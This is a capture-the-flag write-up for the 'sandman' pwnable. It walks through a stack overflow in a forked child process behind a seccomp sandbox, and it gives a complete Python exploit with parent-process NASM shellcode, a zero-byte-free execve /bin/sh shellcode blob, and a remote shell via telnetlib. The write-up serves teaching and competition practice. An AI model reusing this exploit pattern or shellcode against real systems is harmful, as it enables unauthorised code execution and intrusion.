Introduction

New challenge, new architecture. This time we have a x86-64 Linux binary, statically linked. Like in the other challenge, we find an executable stack:

$ readelf -a ./sandman | grep -A1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    10

Furthermore, we can see that the binary uses libseccomp to lock down (sandman, sandbox, get it?) the process at runtime:

$ ldd ./sandman
    linux-vdso.so.1 =>  (0x00007fffc65dd000)
    libseccomp.so.2 => /usr/lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007fdbadb7c000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdbad7b7000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fdbadd93000)

This should be fun!

System Architecture

The binary is quite simple to reverse engineer. I will refrain from dumping too many code listings here, so instead I drew a diagram to explain the binary.

System Architecture 1

Basically, we get two processes at runtime because of a call to fork. The parent process is locked down to only allow 3 system calls: read, write, and exit. Under the assumption that seccomp and the Linux kernel behave as advertised, it is fairly obvious that the parent process will not be capable of reading out the flag file, let alone execute a shell. The child process is not locked down, so clearly we need to find an exploitable flaw there.

Once the parent process is locked down, we get to execute arbitrary shellcode within the parent process. This is necessary to communicate with the child process using the pipe created at the program start (before the fork).

Analysing the parts of the binary executed by the child process quickly reveals an exploitable flaw. There is an obvious buffer overflow going on:

int __fastcall parse_url_overflow_stackbuf(char *userInputURL)
{
  int result; // eax@1
  char *v2; // rax@4
  char *v3; // rax@6
  size_t domainLen; // rax@9
  char domain[512]; // [sp+10h] [bp-220h]@9
  char *domainPtr; // [sp+210h] [bp-20h]@2
  char *nptr; // [sp+218h] [bp-18h]@2
  char *url; // [sp+220h] [bp-10h]@1
  unsigned __int16 port; // [sp+22Eh] [bp-2h]@1

  port = 80;
  url = (char *)&g_slash;
  result = strncmp(userInputURL, "http://", 7uLL);
  if ( !result )
  {
    nptr = userInputURL + 7;
    domainPtr = &userInputURL[strlen(userInputURL)];
    while ( nptr > domainPtr )                  // find port in URL
    {
      if ( *nptr == ':' )
      {
        v2 = nptr++;
        *v2 = 0;
        port = atoi(nptr);
      }
      else if ( *nptr == '/' )
      {
        v3 = nptr++;
        *v3 = 0;
        url = nptr;
        break;
      }
      ++nptr;
    }
    nptr = userInputURL + 7;
    domainLen = strlen(userInputURL + 7);
    strncpy(domain, userInputURL + 7, domainLen);// overflow
    result = nullsub_xx((__int64)domain, port);
  }
  return result;
}

Looks very easy to exploit.

Exploitation

We can execute shellcode in the parent process (this is part of the binary design). Using this shellcode, we have to send data to the child via the communication pipe. First we need to send the command byte 0xE, followed by the length of our URL, followed by the URL to be parsed. A large enough URL will overflow the stack. We can override the return address and pivot back into the stack to execute our new shellcode, encoded in the URL itself. Due to the use of strncpy, we have to make sure that our shellcode does not contain any zero-bytes.

One problem remains: figuring out where the stack is. Alternatively, we can pivot into heap, but due to ASLR we do not know where either memory region is. Debugging the binary revealed an interesting bit of information: the heap pointer is actually on the stack!

All we need now is a pop ; ret gadget and we are good to go. This gadget is easy to find (statically linked binary), game over!

No Really, Exploitation

That did not work as expected. Our URL has to start with "http://". If you disassemble this, you will get the following instructions:

68 74 74 70 3a  push 0x3a707474
2f              (bad)
2f              (bad)

The slashes generate illegal instructions. At that point, I started looking for other vulnerabilities to leak the stack or heap address. After a couple of minutes of head-scratching, I burst out laughing at my own stupidity. You are probably screaming at your monitor right now.

"You already have code execution in the parent process (by design), you idiot!"

The process is forked. I have code execution in the parent process. The read and write system calls are allowed. The standard input / output file descriptors were not closed. Duuuuh!

Here is the new system architecture diagram:

System Architecture 2

I can simply leak the value of the stack pointer from the parent process to standard output, build the proper payload URL in my python script, send it back to the parent process, read it in via standard input, and then send off the correct URL to the child process through the pipe. Easy.

#!/usr/bin/env python
# @skusec

import time
import struct
import re
import telnetlib
import socket
import os

class Socket(socket.socket):

    def __init__(self):
        super(Socket, self).__init__()

    def readuntil(self, s):
        buf = ''
        while s not in buf:
            buf += self.recv(1)
        return buf

# Or just use the pwnlib like a sane person..
def make_shellcode(code):
    fn = '/tmp/shellcode-tmp'
    fndat = fn + '.dat'
    with open(fn, 'wb') as f:
        f.write(code.strip())
    os.system('nasm -f bin "%s" -o "%s"' % (fn, fndat))
    return open(fndat, 'rb').read()

s = Socket()
s.connect(('52.72.171.221', 9982))

parent_shellcode = make_shellcode('''
BITS 64

; WRITE VALUE OF RSP TO STDOUT YOU IMBECIL.
push rsp
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 8
syscall

; READ URL FROM STDIN.
mov rax, 0
mov rdi, 0
mov rsi, rsp
sub rsi, 0x2000
mov r10, rsi
mov rdx, 567
syscall

; SEND 0xE COMMAND TO CHILD
push 0x0e
mov rax, 1
mov rdi, 5
mov rsi, rsp
mov rdx, 1
syscall

; SEND LENGTH OF URL TO CHILD
push 567
mov rax, 1
mov rdi, 5
mov rsi, rsp
mov rdx, 4
syscall

; SEND URL TO CHILD
mov rax, 1
mov rdi, 5
mov rsi, r10
mov rdx, 567
syscall

; DEBUGGING: WRITE NUMBER OF BYTES SENT.
; This is useful to e.g. figure out the pipe
; file descriptor (locally it was 4, remotely 5).
; I used these debug outputs to stdout after every
; step to make sure my commands were properly received
; by the child process, etc.
;push rax
;mov rax, 1
;mov rdi, 1
;mov rsi, rsp
;mov rdx, 8
;syscall

; KEEP DOING LOOPDILOOPS.
infloop:
jmp infloop
''')

# Off the interwebs.
SHELLCODE_NO_ZERO_BYTES  = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff'
SHELLCODE_NO_ZERO_BYTES += '\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0'
SHELLCODE_NO_ZERO_BYTES += '\x3b\x0f\x05'

# Leak stack pointer.
print('Sending length of parent shellcode..')
s.sendall(struct.pack('<I', len(parent_shellcode)))
print('Sending parent shellcode..')
s.sendall(parent_shellcode)
stack_ptr = struct.unpack('<Q', s.recv(8))[0]
print('Stack pointer at: %s' % hex(stack_ptr))

# Build URL.
url = 'http://X'
url += SHELLCODE_NO_ZERO_BYTES
url = url.ljust(0x227, 'X')
url += 'BBBBBBBB' # rbp
url += struct.pack('<Q', stack_ptr - 136 - len(url))

# Send payload (to parent process, which will pass it along to the child).
s.sendall(url)

# Get cookies.
t = telnetlib.Telnet()
t.sock = s
t.interact()

Next up: writeup for exp300.


HackIm CTF - Exploitation 300 - cman

03 February 2016 by sku

Writeup for the pwnable challenge cman

read more

HackIm CTF - Exploitation 100 - pinkfloyd

31 January 2016 by sku

Writeup for the pwnable challenge pinkfloyd

read more

Insomnihack Teaser 2016 - rbaced1

20 January 2016 by sku

Writeup for the pwnable challenge rbaced1

read more

Insomnihack Teaser 2016 - toasted

20 January 2016 by sku

Writeup for the pwnable challenge toasted

read more